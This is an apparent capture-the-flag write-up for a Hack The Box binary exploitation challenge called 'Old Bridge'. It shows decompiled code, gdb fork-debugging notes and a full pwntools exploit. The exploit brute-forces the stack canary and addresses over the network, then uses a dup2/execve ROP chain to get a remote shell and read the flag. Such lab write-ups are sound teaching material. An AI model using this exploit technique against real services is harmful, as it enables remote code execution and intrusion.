

Old Bridge

1) Checked security

```
(vigneswar@VigneswarPC)-[~/Pwn/Old Bridge]
$ checksec oldbridge
[*] '/home/vigneswar/Pwn/Old Bridge/oldbridge'
Arch:      amd64-64-little
RELRO:     Partial RELRO
Stack:     Canary found
NX:        NX enabled
PIE:       PIE enabled
```

2) Decompile the code

```
1
2 void main(int param_1,undefined8 *param_2)
3
4 {
5     int iVar1;
6     long in_FS_OFFSET;
7     socklen_t local_50;
8     undefined4 local_4c;
9     int local_48;
10    undefined4 local_44;
11    int local_40;
12    __pid_t local_3c;
13    sockaddr local_38;
14    sockaddr local_28;
15    undefined8 local_10;
16
17    local_10 = *(undefined8 *) (in_FS_OFFSET + 0x28);
18    local_4c = 1;
19    if (param_1 != 2) {
20        printf("usage: %s <port>\n",*param_2);
21        /* WARNING: Subroutine does not return */
22        exit(1);
23    }
24    local_48 = atoi((char *)param_2[1]);
25    signal(2,exit_server);
26    server_sd = socket(2,1,0);
27    if (server_sd < 0) {
28        perror("socket");
29        /* WARNING: Subroutine does not return */
30        exit(1);
31    }
32    iVar1 = setsockopt(server_sd,1,2,&local_4c,4);
33    if (iVar1 < 0) {
34        perror("setsockopt");
35        /* WARNING: Subroutine does not return */
36        exit(1);
37    }
38    local_38.sa_family = 2;
39    local_38.sa_data._2_4_ = htonl(0);
40    local_38.sa_data._0_2_ = htons((uint16_t)local_48);
41    local_44 = 0x10;
42    iVar1 = bind(server_sd,&local_38,0x10);
43    if (iVar1 < 0) {
44        perror("bind");
45        close(server_sd);
46        /* WARNING: Subroutine does not return */
47        exit(1);
48    }
49    iVar1 = listen(server_sd,5);
50    if (iVar1 < 0) {
```

```

51     perror("listen");
52     close(server_sd);
53     /* WARNING: Subroutine does not return */
54     exit(1);
55 }
56 signal(0x11, (__sighandler_t)0x1);
57 while( true ) {
58     local_50 = 0x10;
59     local_40 = accept(server_sd,&local_28,&local_50);
60     if (local_40 < 0) {
61         perror("accept");
62         close(server_sd);
63         /* WARNING: Subroutine does not return */
64         exit(1);
65     }
66     local_3c = fork();
67     if (local_3c < 0) break;
68     if (local_3c == 0) {
69         iVar1 = check_username(local_40);
70         if (iVar1 != 0) {
71             write(local_40,"Username found!\n",0x10);
72         }
73         close(local_40);
74         /* WARNING: Subroutine does not return */
75         exit(0);
76     }
77     close(local_40);
78 }
79 perror("fork");
80 close(local_40);
81 close(server_sd);
82 /* WARNING: Subroutine does not return */
83 exit(1);
84 }
85

```

```

1
2 bool check_username(int param_1)
3
4 {
5     int iVar1;
6     ssize_t sVar2;
7     long in_FS_OFFSET;
8     int local_420;
9     byte local_418 [1032];
10    long local_10;
11
12    local_10 = *(long *)(in_FS_OFFSET + 0x28);
13    write(param_1,"Username: ",10);
14    sVar2 = read(param_1,local_418,0x420);
15    for (local_420 = 0; local_420 < (int)sVar2; local_420 = local_420 + 1) {
16        local_418[local_420] = local_418[local_420] ^ 0xd;
17    }
18    iVar1 = memcmp(local_418,"il{dih",6);
19    if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
20        /* WARNING: Subroutine does not return */
21        __stack_chk_fail();
22    }
23    return iVar1 == 0;
24 }
25

```

3) Note:

i) Special debug

If you want to debug the child process, you must use `follow-fork-mode`. You must set the mode using

```
set follow-fork-mode child
```

set detach-on-fork off

- 1 `gdb` **does** support debugging multiple processes at once. Refer to sourceware.org/gdb/current/onlinedocs/gdb.html/..., stackoverflow.com/q/59735807/5267751 and sourceware.org/gdb/current/onlinedocs/gdb.html/... -- in particular, you can `set follow-fork-mode parent` + `set detach-on-fork off` + `set schedule-multiple on`, then `continue` will run all inferior at once. See also stackoverflow.com/q/27140941/5267751 to avoid gdb stopping when each inferior stop, or you can use `inferior 1` → `continue`. – user202729 Dec 31, 2023 at 13:51

We need to use this to debug

```

(vigneswar@VigneswarPC)-[~/Pwn/Old Bridge]
$ gdb -q ./oldbridge
GEF for linux ready, type 'gef' to start, 'gef config' to configure
88 commands loaded and 5 functions added for GDB 13.2 in 0.00ms using Python
engine 3.11
Reading symbols from ./oldbridge...
(No debugging symbols found in ./oldbridge)
gef> set follow-fork-mode parent
gef> set detach-on-fork off
gef> set schedule-multiple on
gef> inferior 1 -> continue
Attempt to extract a component of a value that is not a structure pointer.
gef> inferior 1
[Switching to inferior 1 [<null>] (/home/vigneswar/Pwn/Old Bridge/oldbridge)
]
gef> inferior 1 continue
A syntax error in expression, near 'continue'.
gef> run
Starting program: /home/vigneswar/Pwn/Old Bridge/oldbridge
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
usage: /home/vigneswar/Pwn/Old Bridge/oldbridge <port>
[Inferior 1 (process 3487) exited with code 01]
gef> run 1234
Starting program: /home/vigneswar/Pwn/Old Bridge/oldbridge 1234
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

```

```

gef> canary
[+] The canary of process 3545 is at 0x7ffff7dd4768, value is 0xac11d3a5bd7f
0d00
gef> c
Continuing.
[Inferior 4 (process 3545) exited normally]
gef> inferior 1
[Switching to inferior 1 [process 3501] (/home/vigneswar/Pwn/Old Bridge/oldb
ridge)]
[Switching to thread 1.1 (Thread 0x7ffff7dd4740 (LWP 3501))]
#0  0x00007ffff7ee14d0 in __libc_accept (fd=0x3, addr=...,
    len=0x7fffffffdbf8) at ../sysdeps/unix/sysv/linux/accept.c:26
26      in ../sysdeps/unix/sysv/linux/accept.c

```

- ii) There is stack buffer overflow in check_username, we somehow need to leak canary (canary value of same for all child process) so we maybe able to bruteforce it
- iii) DUP2

dup2()

The `dup2()` system call performs the same task as `dup()`, but instead of using the lowest-numbered unused file descriptor, it uses the file descriptor number specified in `newfd`. In other words, the file descriptor `newfd` is adjusted so that it now refers to the same open file description as `oldfd`.

If the file descriptor `newfd` was previously open, it is closed before being reused; the close is performed silently (i.e., any errors during the close are not reported by `dup2()`).

The steps of closing and reusing the file descriptor `newfd` are performed *atomically*. This is important, because trying to implement equivalent functionality using `close(2)` and `dup()` would be subject to race conditions, whereby `newfd` might be reused between the two steps. Such reuse could happen because the main program is interrupted by a signal handler that allocates a file descriptor, or because a parallel thread allocates a file descriptor.

Note the following points:

- If `oldfd` is not a valid file descriptor, then the call fails, and `newfd` is not closed.
- If `oldfd` is a valid file descriptor, and `newfd` has the same value as `oldfd`, then `dup2()` does nothing, and returns `newfd`.

Since, our we are interacting with the binary through sockets, normal `execve` will pop a shell that gets input from `stdin`, to fix this, we need to copy `stdin`, `stdout`, `stderr` to socket file descriptor

4) Exploit

```
#!/usr/bin/env python3

from pwn import *

context(os='linux', arch='amd64', log_level='error')
context.terminal = ['tmux', 'splitw', '-h']
exe = ELF("./oldbridge")
context.binary = exe

rem_ip = '94.237.57.59' # ip
port = 48325 # port
leak =
b'\x00\xf3\x07\x95`\xab\xfa\xc7`\xff\xe4\xfd\x7f\x00\x00\xcf\x0e\x80\xaa\x9fU'

for k in range(24):
    if k == 16:
        leak += b'\xcf'
        continue
```

```

if k == 17:
    leak += b'\x0e'
    continue
for j in range(256):
    io = remote(rem_ip, port)
    io.sendafter(b'Username: ', bytes(i^0xd for i in
b'il{dih'+b'\x55'*1026+leak+bytes([j])))
    try:
        print(f'\033[2JLeaking data: {k}, Found: {leak}, Progressing:
{bytes([j])}', end='\r')
        response = io.recvuntil(b'found')
        if b'Username' in response:
            leak += bytes([j])
            break
    except:
        pass
    sleep(0.00001)
    io.close()
else:
    print("Something went wrong!")
    break

exe.address = unpack(leak[16:], 'all')-0xecf
rbp = unpack(leak[8:16], 'all')+0xb88-0x1000 # adjust based on system
canary = leak[:8]
print(canary, hex(rbp), hex(exe.address))

# rop
print("Popping a shell...")
io = remote(rem_ip, port)
leave_ret = p64(exe.address+0x0000000000000b6d)
rop_chain = ROP(exe)
SYSCALL_RET = rop_chain.find_gadget(['syscall', 'ret'])[0]

for j in range(3):
    rop_chain.rax = constants.SYS_dup2
    rop_chain.call(SYSCALL_RET, [4, j])

rop_chain.rax = 59
rop_chain.call(SYSCALL_RET, [rbp, 0, 0])
rop_chain = rop_chain.chain()
print("Performing ROP:")

io.sendafter(b'Username: ', bytes(i^0xd for i in b'il{dih\x55\x55'+b'/bin/
sh\x00'+rop_chain+b'\x55'*(1016-len(rop_chain))+canary+p64(rbp)+leave_ret))
io.interactive()

```

5) Flag

```
(vigneswar@VigneswarPC)-[~/Pwn/Old Bridge]
$ python3 solve.py
b'\x00\xf3\x07\x95'\xab\xfa\xc7' 0x7ffd66e4fae8 0x559faa800000
Popping a shell...
Performing ROP:
$ ls
core
flag.txt
oldbridge
$ cat flag.txt
HTB{q4i1q3_i1i3_p0a_a01}
$ █
```